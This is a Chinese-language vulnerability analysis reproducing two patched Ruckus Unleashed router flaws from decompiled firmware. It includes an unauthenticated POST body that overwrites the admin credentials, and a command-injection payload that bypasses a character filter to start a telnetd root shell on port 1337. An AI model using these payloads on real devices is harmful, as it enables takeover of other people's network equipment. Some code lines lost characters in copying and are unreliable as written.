Ruckus公司面向全球移動運營商、寬帶服務提供商和企業用戶，銷售、制造各種室內和室外型“智能Wi-Fi”產品。本文是針對于今年Ruckus品牌路由器的兩個漏洞進行分析復現。

CVE-2020-13915 認證覆蓋漏洞

概述

ruckus unleased 設備在今年的5月份修復了一個認證覆蓋漏洞，利用該漏洞可以通過未授權的方式將設備 Admin 用戶的登錄憑證進行覆蓋，從而達到接管 Admin 用戶的效果。漏洞公告見參考鏈接一。

固件下載

https://support.ruckuswireless.com/software/2328-ruckus-unleashed-ap-200-8-10-3-243-ga-software-for-r610

漏洞分析

使用 binwalk 將固件進行解壓，漏洞發生在 /web/admin/_wla_conf.jsp腳本文件中，查看腳本文件的內容，其中WithoutLoginAccessCheck作為回調函數進行執行，函數的參數為session["cid"]和'true'。

1. <%

2. Delegate("WithoutLoginAccessCheck", session["cid"],'true');

3. Delegate("AjaxConf", session["cid"]);

4. %>

該函數觸發的地方在 /bin/emfd可執行文件中，在 ghidra 中搜索函數，找到WithoutLoginAccessCheck函數，函數部分代碼如下：

1. ...

2. if(!strcasecmp(ajax_action,"setconf"))

3. {

4. admin_child = xGetChild(v36,"admin");

5. if( admin_child !=0)

6. {

7. v37 = sub_60890(admin_child);

8. }

9. ...

首先判斷前端 http 數據包中傳入的 post data 中的 action 屬性的值是否為 setconf，再使用 xGetChild函數獲取 admin 子標簽，接著調用sub_60890函數。

因此根據設備的數據包格式，這里需要構造的 post data 為：

1. <ajax-requestaction="setconf">

2. <admin/>

3. <ajax-request/>

跟進sub_60890函數，這里主要判斷 admin 子標簽的屬性數量是否為 8，且這 8 個屬性名是否為 v41 變量到 v49 的值。

1. ...

2. v41 = admin_element;

3. v42 ="username";

4. v43 ="fallback-local";

5. v44 ="authsvr-id";

6. v45 ="auth-by";

7. v46 ="x-password";

8. v47 ="IS_PARTIAL";

9. v48 ="reset";

10. v49 ="auth-token";

11. attrnum = xGetAttrNum(a1);

12. ...

13. if(attrnum !=8){

14. return-1;

15. }

16. v2 = xAttrExists(v41, v42);

17. if(!v2){

18. return-1;

19. }

20. ...

• 此時的 post data：

1. <ajax-requestaction="setconf">

2. <adminusername='admin'x-password='xxxxxx'auth-token=''reset=trueIS_PARTIAL=''auth-by='local'authsvr-id='0'fallback-local='true'/>

3. <ajax-request/>

接著回到/admin/_wla_conf.jsp腳本文件中，第三行中同樣以回調的方式執行了AjaxConf函數，該函數位于/usr/lib/libemf.so動態鏈接庫程序中。

同樣在 ghidra 中找到函數的位置，部分代碼如下：

1. int adapter_setConf(char*attr_comp,undefined4 xmlstr){

2. ...

3. iVar3 = adapter_validateConf(xmlstr);

4. if(iVar3 ==0x0){

5. iVar4 = strcmp(attr_comp,"system");

6. if(iVar4 ==0x0){

7. ...

8. }

9. }

10. uVar6 = repoGetCurrent(attr_comp);

11. ...

12. }

這里重新判斷了 post data 中 ajax-request標簽中 comp 屬性的值，如果這里不為 system 的話，不會進入 if 判斷，轉而去執行repoGetCurrent函數中，參數為 comp 屬性的值。跟進函數：

1. undefined4 repoGetCurrent(undefined4 uParm1)




2. {

3. undefined4 uVar1;




4. uVar1 = repoGetCurChild(uParm1,0x0,0x1);

5. return uVar1;

6. }

繼續跟進 repoGetCurChild函數，第一個參數還是 comp 屬性的值，使用psprintf函數格式化到 p_Var1 變量表示的棧上的內存空間之后，繼續執行_repoGetCache函數。

1. int repoGetCurChild(char*pcParm1,char*pcParm2,bool bParm3){

2. ...

3. pcVar2 =(char*)psprintf(p_Var1,"%s/airespider/%s.xml",PTR_DAT_000a39cc,pcParm1);

4. local_c = _repoGetCache("Current",p_Var1,pcParm1,pcVar2,pcParm2,bParm3,false);

5. ...

6. }

繼續跟進函數，函數中又調用了 FUN_00054aec函數，其中調用了_shash_insert函數，將 post data 中整個 admin 標簽插入到psprintf函數格式化的字符串表示文件中。

因為在 adapter_setConf 函數的 if 分支中，需要進行登錄認證，而在 if 分支之外調用repoGetCurrent函數不需要進行認證，當 comp 屬性的值為/system時，就可以繞過 strcmp 函數的判斷，不會進入到 if 分支。同時拼接的字符串文件名為：/etc/airespider-default//system.xml。而 system.xml 存放的正是 admin 用戶的登錄憑證：

此時就可以達到未認證效果對 admin 用戶的登錄憑證進行覆蓋，從而達到未授權訪問的效果。

漏洞修復

新版本的 ruckus unleased 中，直接將 /admin/_wla_conf.jsp腳本文件進行了刪除。

CVE-2020-13919 后臺命令注入漏洞

概述

關于 ruckus unleased 后臺命令注入漏洞復現。該漏洞是由一個歷史的命令注入漏洞過濾不嚴格造成的新漏洞。關于該歷史漏洞的詳情可以查看參考鏈接一。

固件下載

1. https://support.ruckuswireless.com/software/2328-ruckus-unleashed-ap-200-8-10-3-243-ga-software-for-r610

漏洞分析

將固件進行解壓之后，進入 /web 目錄，漏洞發生在 /web/admin/_cmdstat.jsp腳本文件中，因為該漏洞是認證后的漏洞，所以腳本代碼中 if 判斷的 check 會通過，進而會去執行AjaxCmdStat回調函數。

1. <%

2. Delegate("SessionCheck", session["cid"],'true');

3. var httpReq = request["headers"];

4. Delegate("CsrfTokenCheck", session["cid"], httpReq.HTTP_X_CSRF_TOKEN);

5. if(session["csrfAccepted"]=='true'){

6. Delegate("AjaxCmdStat", session["cid"]);

7. }

8. %>

同樣在 /bin/emfd可執行文件中找到AjaxCmdStat函數的位置，該函數直接調用了AjaxCmdStat_impl函數：

1. voidAjaxCmdStat(undefined4 uParm1,undefined4 uParm2)




2. {

3. AjaxCmdStat_impl(uParm1,uParm2,0x0,0x0,0x0);

4. return;

5. }

跟進函數，在AjaxCmdStat_impl函數的末尾，會接著調用adapter_doCommand函數，adapter_doCommand函數繼續調用doCommand函數，該函數主要用來處理 post data 的 xcmd 子標簽，判斷 xcmd 子標簽中 cmd 屬性的值：

1. int __fastcall doCommand(int a1){

2. ...

3. v1 = xGetAttrString(a1,"cmd",0);

4. s1 = v1;

5. if(!strcmp(s1,"get-features"))

6. return sub_BC9DC(0);

7. v17 = strcmp(s1,"get-feature-maxap");

8. if(!v17 )

9. return sub_BC904(v17, v18, v19);

10. v17 = strcmp(s1,"get-feature-value");

11. if(!v17 )

12. return sub_BC904(v17, v18, v19);

13. if(!strcmp(s1,"get-urlfiltering-maxap"))

14. return sub_BBE94(0, v20, v21);

15. if(!strcmp(s1,"get-maxclient"))

16. return sub_BB64C(0, v22, v23);




17. ...

18. if(!strcmp(s1,"import-avpport"))

19. return sub_C1E08(v211);




20. ...




21. }

如果這里的 cmd 屬性為 import-avpport時會調用sub_C1E08函數，跟進：

1. int __fastcall sub_C1E08(int xcmd){




2. ...

3. v1 = xGetAttrString(xcmd,"uploadFile",&unk_23380C);

4. filename = v1;

5. v10 = is_validate_input_string(filename);

6. if(!v10){

7. return-1;

8. }

9. ...

10. memset(&s,0,0x100u);

11. snprintf(&s,0x100u,"cp %s /etc/airespider/", filename);

12. system(&s);

13. ...




14. }

此處 xcmd 變量為 xcmd 的標簽，從標簽中獲取到 uploadFile屬性的值之后，會經過is_validate_input_string函數對關鍵字符進行過濾，然后作為參數傳入snprintf函數，之后繼續執行 system 函數。這里is_validate_input_string函數位于usr/lib/libemf.so動態鏈接庫程序中，其代碼如下：

1. undefined4 is_validate_input_string(char*pcParm1)




2. {

3. size_tsVar1;

4. char*pcVar2;

5. int local_c;




6. if(pcParm1 != ){

7. sVar1 = strlen(pcParm1);

8. local_c =0x0;

9. while(local_c <(int)sVar1){

10. pcVar2 = strchr("$;&|<>'"`\ ",(uint)(byte)pcParm1[local_c]);

11. if(pcVar2 != ){

12. return0xffffffff;

13. }

14. local_c = local_c +0x1;

15. }

16. }

17. return0x0;

18. }

可以看到這里過濾的字符串為：

1. $;&|<>'"`\

但是這里依然可以進行繞過，繞過的方法為：將分隔符設置成 #!/bin/shn，空格替換成 t 即可，因此 payload 如下：

1. #!/bin/shntelnetdt-l/bin/sht-p1337

繞過之后在 system 函數處即為一個典型的命令注入漏洞。

漏洞修復

更新后的固件代碼中對關鍵的字符，如t、n等進行了更嚴格的過濾。

參考鏈接

1. https://support.ruckuswireless.com/security_bulletins/304

2. https://www.youtube.com/watch?v=Yt3mJlnODHU

3. https://alephsecurity.com/2020/01/14/ruckus-wireless/

4. https://www.youtube.com/watch?v=Yt3mJlnODHU